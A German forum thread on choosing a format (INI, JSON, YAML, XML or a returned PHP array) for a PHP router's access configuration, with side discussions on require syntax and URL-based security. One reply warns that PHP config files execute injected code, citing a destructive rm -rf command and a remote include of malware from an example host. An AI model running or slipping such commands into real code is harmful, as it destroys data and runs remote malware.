Akrisios: Konfigurationsdatei

Hallo,

ich möchte in meinem PHP-Projekt eine Konfigurationsdatei anlegen, die von einem Objekt, genauer gesagt dem Router-Objekt zur Laufzeit eingelesen wird. Konkret geht es um eine Datei, die ich Routingtable genannt und deren Ort erst feststeht, wenn die Route (zu der App) aus der URL extrahiert wurde. Dieser Routingtabelle steuert zum Beispiel, ob man für die jeweilige Route Rechte haben oder eingeloggt sein muss.

URL: example.com/company/jobs/231
Route: company/jobs

(die Route selbst wird per default auf eine Verzeichnisstruktur gemappt, also etwa:
-apps
--company
---jobs

Als PHP-Array abgebildet würde diese Datei in etwa (nur ein Beipsiel) so aussehen:

  
$routingTable = array(  
    "company" => array(  
       "must_be_logged_in" => "false",  
       "must_have_rights" => "anonymous",  
  
   ),  
   "company/jobs" => array(  
      "must_be_logged_in" => "true",  
       "must_have_rights" => "user",  
  ),  
);  

So oder so ähnlich, genau muss ich mir das noch überlegen. Zu Beispiel möchte ich auch noch die HTTP-Methode berücksichten. Die Anzahl und Art der Keys und die Aktionen stehen ebenfalls noch nicht fest. Wie gesagt nur ein Beispiel.

Meine Frage: welches Format ist hier so üblich? Macht man sowas mit XML, oder besser mit Json oder Yaml? Oder einfach die PHP-Datei inkludieren?

  1. Tach!

    Meine Frage: welches Format ist hier so üblich? Macht man sowas mit XML, oder besser mit Json oder Yaml? Oder einfach die PHP-Datei inkludieren?

    Alle, YAML vielleicht weniger, dazu noch Ini-Format. Gründe sind vielfältig. Die einen wollen dem Anwender keinen PHP-Code zumuten, die anderen wollen lieber etwas, das gleich zu Code geparst wird und nicht über Umwege, und Kompatibilität zu anderen Produkten spielt auch manchmal eine Rolle.

    dedlfix.

  2. hi,

    ich möchte in meinem PHP-Projekt eine Konfigurationsdatei anlegen, die von einem Objekt, genauer gesagt dem Router-Objekt zur Laufzeit eingelesen wird. Konkret geht es um eine Datei, die ich Routingtable genannt und deren Ort erst feststeht, wenn die Route (zu der App) aus der URL extrahiert wurde. Dieser Routingtabelle steuert zum Beispiel, ob man für die jeweilige Route Rechte haben oder eingeloggt sein muss.

    Also, wenn die Route im URL kodiert ist, zu einer Tabelle routen, die Routingtable heißt... hmm, die würde ich anders nennen, z.B. Access-Table, was für Deinen Fall trefflicher wäre.

    Meine Frage: welches Format ist hier so üblich? Macht man sowas mit XML, oder besser mit Json oder Yaml? Oder einfach die PHP-Datei inkludieren?

    Performant muss es sein. Diese Datei, wie auch immer die heißt, wird bei einem jeden Request geladen. Ich würde einen Core-Funktion einsetzen, die den sysopen-Call in c implemtiert, zb. PHP::serialize()  o.ä. und das Deployment entsprechend gestalten, d.h., die Konfig wird vor dem Deployment serialisiert. Soviel ich weiß, ist parse_ini_file() auch in c implementiert und entsprechend performant.

    In Perl käme JSON::XS in Frage o.a. neuerliche Serializer. Was vorher in den Editor kommt, ist Geschmacksache und nicht XML, hier hast Du in Sachen Fehlertoleranz keinen Spielraum.

    Hotti

    --
    Perl ist flüssig. PHP ist überflüssig.
    1. Hallo,

      ich möchte in meinem PHP-Projekt eine Konfigurationsdatei anlegen, die von einem Objekt, genauer gesagt dem Router-Objekt zur Laufzeit eingelesen wird. Konkret geht es um eine Datei, die ich Routingtable genannt und deren Ort erst feststeht, wenn die Route (zu der App) aus der URL extrahiert wurde. Dieser Routingtabelle steuert zum Beispiel, ob man für die jeweilige Route Rechte haben oder eingeloggt sein muss.

      Also, wenn die Route im URL kodiert ist, zu einer Tabelle routen, die Routingtable heißt... hmm, die würde ich anders nennen, z.B. Access-Table, was für Deinen Fall trefflicher wäre.

      Hast im Grunde recht. Allerdings kann man in dieser Tabelle auch noch Alternativrouten angeben. So kann man hier auch einstellen, dass die Route "company/jobs/edit" nach "jobs/edit" gehen soll. Ich nenne die Datei vielleicht RoutingAccessTable...

      1. Hallo,

        Hast im Grunde recht.

        unwichtig ;)

        Allerdings kann man in dieser Tabelle auch noch Alternativrouten angeben. So kann man hier auch einstellen, dass die Route "company/jobs/edit" nach "jobs/edit" gehen soll. Ich nenne die Datei vielleicht RoutingAccessTable...

        Auch egal wie die Datei heißt. Wichtiger ists, über das Konzept nachzudenken. Die Route im URL zu kodieren ergibt Abhängigkeiten. Und, Security: Im URL steht der Name der Anwendungsklasse, zuviel Information nach draußen.

        Wie wärs mit einer richtigen Routingtable? Z.B. so:

        [/]
        title=Tierisch gute Startseite
        short=Home
        descr=Hier die Beschreibung für die Startseite... über Krokodile und andere nette Tiere...
        class=HTMLfile
        file=home.html

        Da hast Du alles auf einem Blick: Vor Allem die Beziehung URL <=> Class
        Weitere Attribute könnten die ACL implementieren:

        acl=admin

        Oder besser
        class=Admin::HTMLFile

        Das ganze ACL-Geraffel über die  Klassenhierarchie abbilden, wow!

        Einem URL ists dann nicht mehr anzusehen, an welche Klasse der geroutet wird. So könnte /dogs.html beispielsweise nur dem Benutzer Boo zugänglich sein(class=Boo::Feed), ohne dass sich der Programmierer um ACLs kümmern muss, die Klasse, die er entwirft, ist nur für Boo, keine weiteren ACL-Kontrollstrukturen, pasta. Oder für eine Gruppe von Benutzern...

        Darüber lohnt es sich, nachzudenken ;)

        Horst Pfiffig

        1. Tach!

          Auch egal wie die Datei heißt. Wichtiger ists, über das Konzept nachzudenken. Die Route im URL zu kodieren ergibt Abhängigkeiten. Und, Security: Im URL steht der Name der Anwendungsklasse, zuviel Information nach draußen.

          Wie kann man denn diese Information missbrauchen? Und warum kommen ziemlich viele Systeme genau nach dem Prinzip, dass aus Teilen der URL die Namen des ActionControllers und der Action gebildet werden, problemlos zurecht?

          dedlfix.

          1. Moin lieber dedlfix,

            Wie kann man denn diese Information missbrauchen?

            Es erleichtert einem Angreifer die Arbeit. Er kann mehrere unterschiedliche URLs, die alle (für den Angreifer sichtbar) diegleiche ActionController-Klasse benutzen, im Browser aufrufen und so herausbommen, was die Klasse macht.

            Mir ist ein Fall bekannt (liegt Jahre zurück), da genügten dem Angreifer zwei URLs womit er harausbekam, dass der dahinterliegende Code eine Datei vom FS einliest und diese dann im Browser anzeigt. Infolge Manipulation des URLs konnten dann beliebige Dateien im Broswer angezeigt werden.

            Und warum kommen ziemlich viele Systeme genau nach dem Prinzip, dass aus Teilen der URL die Namen des ActionControllers und der Action gebildet werden, problemlos zurecht?

            Die Route zur Controller-Class im URL zu kodieren, erzeugt weitere Abhängigkeiten, die in komplexen Webanwendungen sehr wohl und sehr problematisch sein könnten.

            Schönen Sonntag ;)

            1. Tach!

              Wie kann man denn diese Information missbrauchen?
              Es erleichtert einem Angreifer die Arbeit. Er kann mehrere unterschiedliche URLs, die alle (für den Angreifer sichtbar) diegleiche ActionController-Klasse benutzen, im Browser aufrufen und so herausbommen, was die Klasse macht.

              Ich muss nicht wissen, wie die Klasse heißt, wenn URL-Aufrufe ausreichen, um Schaden anzurichten.

              Mir ist ein Fall bekannt (liegt Jahre zurück), da genügten dem Angreifer zwei URLs womit er harausbekam, dass der dahinterliegende Code eine Datei vom FS einliest und diese dann im Browser anzeigt. Infolge Manipulation des URLs konnten dann beliebige Dateien im Broswer angezeigt werden.

              Sowas wird nicht verhindert oder begünstigt, wenn URL und Namen von Identifizierer übereinstimmen oder auch nicht. Wenn sowas möglich ist, ist das ein Problem beim Überprüfen von Berechtigungen oder der Validität von Eingabedaten im Code.

              Und warum kommen ziemlich viele Systeme genau nach dem Prinzip, dass aus Teilen der URL die Namen des ActionControllers und der Action gebildet werden, problemlos zurecht?
              Die Route zur Controller-Class im URL zu kodieren, erzeugt weitere Abhängigkeiten, die in komplexen Webanwendungen sehr wohl und sehr problematisch sein könnten.

              Die Frage war nach der Sicherheit solcher Vorgehensweisen, nicht nach anderen Nebenwirkungen. Wie auch immer, diese Systeme haben in der Regel neben der Default-1:1-Auflösung von URL-Teilen zu Identifizierern meist noch eine Konfigurationsmöglichkeit, in der eigenen Regeln definiert werden können.

              dedlfix.

  3. Moin!

    Als PHP-Array abgebildet würde diese Datei in etwa (nur ein Beipsiel) so aussehen:

    $routingTable = array(
        "company" => array(
           "must_be_logged_in" => "false",
           "must_have_rights" => "anonymous",

    ),
       "company/jobs" => array(
          "must_be_logged_in" => "true",
           "must_have_rights" => "user",
      ),
    );

    
    >   
    > Meine Frage: welches Format ist hier so üblich? Macht man sowas mit XML, oder besser mit Json oder Yaml? Oder einfach die PHP-Datei inkludieren?  
      
    XML, JSON und Yaml haben alle den Nachteil, dass man das Format erst mit PHP-Code parsen muss.  
      
    Die performanteste Art ist, die Konfiguration in einer PHP-Datei als PHP-Code abzulegen:  
      
    `return array(/* die Werte hier*/);`{:.language-php}  
      
    Und die Einbindung:  
      
    `$routingTable = require('Datei von oben');`{:.language-php}  
      
    Vorteil: Der Konfigurationscode ist im PHP-Opcode-Cache. Schneller als so kriegt man Konfigurationen nicht eingelesen.  
      
    Wenn es aus Bequemlichkeitsgründen (wobei die Frage ist, für wen es bequem sein soll) doch eines der oben genannten Formate sein soll, wäre es keine schlechte Idee, als Zwischenformat eben doch genau so eine PHP-Datei anzulegen und einzulesen.  
      
     - Sven Rautenberg
    
    1. $routingTable = require('Datei von oben');

      Ich hatte gelernt, dass man die Klammern weglassen soll?!? Bin verwirrt.

      return array(/* die Werte hier*/);

      Hängt das mit den Klammern zusammen, dass Du hier return verwendest. Könntest Du den Vorteil Deines Vorgehens beschreiben?

      Cheers,
      Baba

      1. Hallo,

        $routingTable = require('Datei von oben');
        Ich hatte gelernt, dass man die Klammern weglassen soll?!? Bin verwirrt.

        ich würde nach wie vor sagen, das ist Geschmackssache. In diesem Fall allerdings wird require ja tatsächich so verwendet, als sei es eine Funktion, daher erscheint mir die Schreibweise mit Klammern hier vernünftig.

        return array(/* die Werte hier*/);
        Hängt das mit den Klammern zusammen, dass Du hier return verwendest. Könntest Du den Vorteil Deines Vorgehens beschreiben?

        Wenn in einer Datei, die mit include oder require (oder den Pendants mit -once) eingefügt wird, am Ende ein return-Statement außerhalb aller Funktionen steht, dann ist genau das möglich, was Sven hier zeigt: Der Wert wird als Quasi-Funktionsergebnis für include oder require verwendet.

        Ciao,
         Martin

        --
        Frauen sind wie Elektrizität: Fasst man sie an, kriegt man eine gewischt.
        Selfcode: fo:) ch:{ rl:| br:< n4:( ie:| mo:| va:) de:] zu:) fl:{ ss:) ls:µ js:(
        1. Wenn in einer Datei, die mit include oder require (oder den Pendants mit -once) eingefügt wird, am Ende ein return-Statement außerhalb aller Funktionen steht, dann ist genau das möglich, was Sven hier zeigt: Der Wert wird als Quasi-Funktionsergebnis für include oder require verwendet.

          ... und ich nehme an (könnte es auch testen) die restlichen Variablen des eingefügten Skriptes sind ebenfalls vefügbar im aufrufenden Skript... Oder ist es dann wenigstens so, dass nur der/die Wert(e) des return zurückkommen?

          Cheers,
          Baba

          1. Tach!

            Wenn in einer Datei, die mit include oder require (oder den Pendants mit -once) eingefügt wird, am Ende ein return-Statement außerhalb aller Funktionen steht, dann ist genau das möglich, was Sven hier zeigt: Der Wert wird als Quasi-Funktionsergebnis für include oder require verwendet.

            ... und ich nehme an (könnte es auch testen) die restlichen Variablen des eingefügten Skriptes sind ebenfalls vefügbar im aufrufenden Skript... Oder ist es dann wenigstens so, dass nur der/die Wert(e) des return zurückkommen?

            Die return-Funktionalität kommt lediglich zusätzlich zum bekannten Verhalten hinzu. Alles andere, was in der inkludierten Datei abläuft, geschieht wie üblich so, als ob der Code direkt an der inkludierenden Stelle stünde.

            Noch ein Wort zu den Klammern: Man kann ja auch bei Ausdrücken wie $a = ($b + $c); Klammern verwenden. Das funktioniert genauso wie die Klammern bei require/include. Die Klammern gehören zur Syntax des Ausdrucks und werden ohne eine Wirkung zu entfalten ausgewertet. Funktionsklammern hingegen gehören nicht zum Ausdruck oder den Ausdrücken, die als Parameter notiert sind.

            Was passiert hier?

            $foo = require('bar') . '.php';

            dedlfix.

            1. Danke für die Erklärung!

              Was passiert hier?

              $foo = require('bar') . '.php';

              Ja, was passiert da?

              Cheers,
              Baba

              1. Tach!

                Danke für die Erklärung!

                Was passiert hier?
                  $foo = require('bar') . '.php';
                Ja, was passiert da?

                Nun, require ist keine Funktion und im Gegensatz zu isset() und empty() sind in Klammern kein zwingender Bestandteil des Sprachkonstrukts. Die Klammern begrenzen hier (ohne weitere Wirkung) einen Teilausdruck, den String 'bar'. Der wird mit '.php' verknüpft und dann wird bar.php geladen. Das was da drin über return zurückgegeben wird, landet abschließend in $foo. Wenn es eine Funktion wäre, würde die Datei bar geladen und das return-Ergebnis mit .php verknüpft und in $foo abgelegt. Das sollte nur mal ein vermutlich wenig praxisrelevantes Beispiel sein, wie unnötige Klammern auch Verwirrung stiften können.

                dedlfix.

                1. dann wird bar.php geladen.

                  kräsi

                  Vielen Dank.

                  Cheers,
                  Baba

      2. Moin!

        $routingTable = require('Datei von oben');
        Ich hatte gelernt, dass man die Klammern weglassen soll?!? Bin verwirrt.

        Wenn das Argument ist, dass "require" ja keine "echte" Funktion ist, dann ist das ein schwaches Argument. "isset()" und "empty()" sind auch keine echten Funktionen, erlauben aber das Weglassen von Klammern NICHT.

        Die PSR-Standards 1 und 2 lassen sich hierzu auch nicht aus. Da ich es hier wie eine Funktion verwende, habe ich keine Bedenken, auch Klammern zu benutzen.

        return array(/* die Werte hier*/);
        Hängt das mit den Klammern zusammen, dass Du hier return verwendest. Könntest Du den Vorteil Deines Vorgehens beschreiben?

        Nein, das ist irrelevant. Wenn die Datei, die man includiert, einen Return-Wert liefert, wird dieser als Ergebnis des Aufrufs von require oder include zurückgegeben und kann einer Variablen zugewiesen werden.

        Diese Lösung ist jedenfalls viel schöner, als wenn man innerhalb der Include-Datei eine globale Variable mit dem Inhalt versieht.

        - Sven Rautenberg

    2. Hallo Sven,

      Die performanteste Art ist, die Konfiguration in einer PHP-Datei als PHP-Code abzulegen:

      return array(/* die Werte hier*/);

      Und die Einbindung:

      $routingTable = require('Datei von oben');

      Vorteil: Der Konfigurationscode ist im PHP-Opcode-Cache. Schneller als so kriegt man Konfigurationen nicht eingelesen.

      genauso habe ich es auch gelöst gehabt. Die Art und Weise, eine incluude-Datei so einzulesen, war mir vorher nicht bekannt.

      Wenn es aus Bequemlichkeitsgründen (wobei die Frage ist, für wen es bequem sein soll) doch eines der oben genannten Formate sein soll, wäre es keine schlechte Idee, als Zwischenformat eben doch genau so eine PHP-Datei anzulegen und einzulesen.

      ist erstmal nur für mich. Und da es ein PHP-Framework ist, ist es auch legitim, kein Zwischenformat, sondern direkt PHP zu nehmen. Danke nochmal

    3. Moin Moin!

      Meine Frage: welches Format ist hier so üblich? Macht man sowas mit XML, oder besser mit Json oder Yaml? Oder einfach die PHP-Datei inkludieren?

      XML, JSON und Yaml haben alle den Nachteil, dass man das Format erst mit PHP-Code parsen muss.

      Die performanteste Art ist, die Konfiguration in einer PHP-Datei als PHP-Code abzulegen:

      Vorteil: Der Konfigurationscode ist im PHP-Opcode-Cache. Schneller als so kriegt man Konfigurationen nicht eingelesen.

      Den riesigen Nachteil von Programmcode in einer Konfigurationsdatei für eine Scriptsprache hast Du vergessen:

      Der Programmcode in der Konfigurationsdatei wird gnadenlos ausgeführt. Auch Dinge wie system("rm -rf / > /dev/null 2> /dev/null &") oder include 'http://www.example.com/eviljoe/malware.php.txt'.

      Natürlich muß so etwas erst einmal in die Konfigurationsdatei rein. Aber dafür reicht eine kleine Lücke, die Schreibzugriffe auf die Datei erlaubt. Danach hat ein Angreifer volle Kontrolle über PHP.

      Mit INI-Dateien, JSON, YAML und XML kann das nicht passieren, es sei denn, man fängt bewußt an, Werte aus der Konfigurationsdatei ungeprüft an eval, Wrapper o.ä. weiterzureichen.

      Alexander

      --
      Today I will gladly share my knowledge and experience, for there are no sweeter words than "I told you so".
      1. Tach!

        Vorteil: Der Konfigurationscode ist im PHP-Opcode-Cache. Schneller als so kriegt man Konfigurationen nicht eingelesen.
        Den riesigen Nachteil von Programmcode in einer Konfigurationsdatei für eine Scriptsprache hast Du vergessen:
        Der Programmcode in der Konfigurationsdatei wird gnadenlos ausgeführt. Auch Dinge wie system("rm -rf / > /dev/null 2> /dev/null &") oder include 'http://www.example.com/eviljoe/malware.php.txt'.

        Natürlich muß so etwas erst einmal in die Konfigurationsdatei rein. Aber dafür reicht eine kleine Lücke, die Schreibzugriffe auf die Datei erlaubt. Danach hat ein Angreifer volle Kontrolle über PHP.

        Die Lücke allein reicht da noch nicht, man muss auch noch Code platziert haben oder es als Angreifer können, um diese Lücke ausnutzen zu können. Wenn man sein System administrativ unter Kontrolle hat, dann ist der Nachteil nicht mehr riesig sondern nicht vorhanden. Die Vorteile der höheren Performance wird man sinnvollerweise nicht mit einem Shared-Hosting-System zu kombinieren versuchen, also hat man die volle Freiheit, es so sicher wie möglich zu halten.

        dedlfix.

      2. Moin!

        Den riesigen Nachteil von Programmcode in einer Konfigurationsdatei für eine Scriptsprache hast Du vergessen:

        Der Programmcode in der Konfigurationsdatei wird gnadenlos ausgeführt. Auch Dinge wie system("rm -rf / > /dev/null 2> /dev/null &") oder include 'http://www.example.com/eviljoe/malware.php.txt'.

        Natürlich muß so etwas erst einmal in die Konfigurationsdatei rein. Aber dafür reicht eine kleine Lücke, die Schreibzugriffe auf die Datei erlaubt. Danach hat ein Angreifer volle Kontrolle über PHP.

        Ok, das ist grundsätzlich natürlich richtig, andererseits: Wie wahrscheinlich ist es? Und wie unwahrscheinlich ist es in diesem Fall dann, dass der Angreifer NUR die PHP-Konfigurationsdatei verändern kann, und nicht alle anderen Dateien mit PHP-Code auch?

        Denn wenn er außerdem auch jede andere Datei ändern kann, ist das ja kein Nachteil der Konfigurationsdatei an sich. Und auch generell würde ich meinen, dass das kein Nachteil ist, denn die Absicherung einer Applikation gegen unautorisierte Manipulationen muss ja sowieso gemacht werden.

        - Sven Rautenberg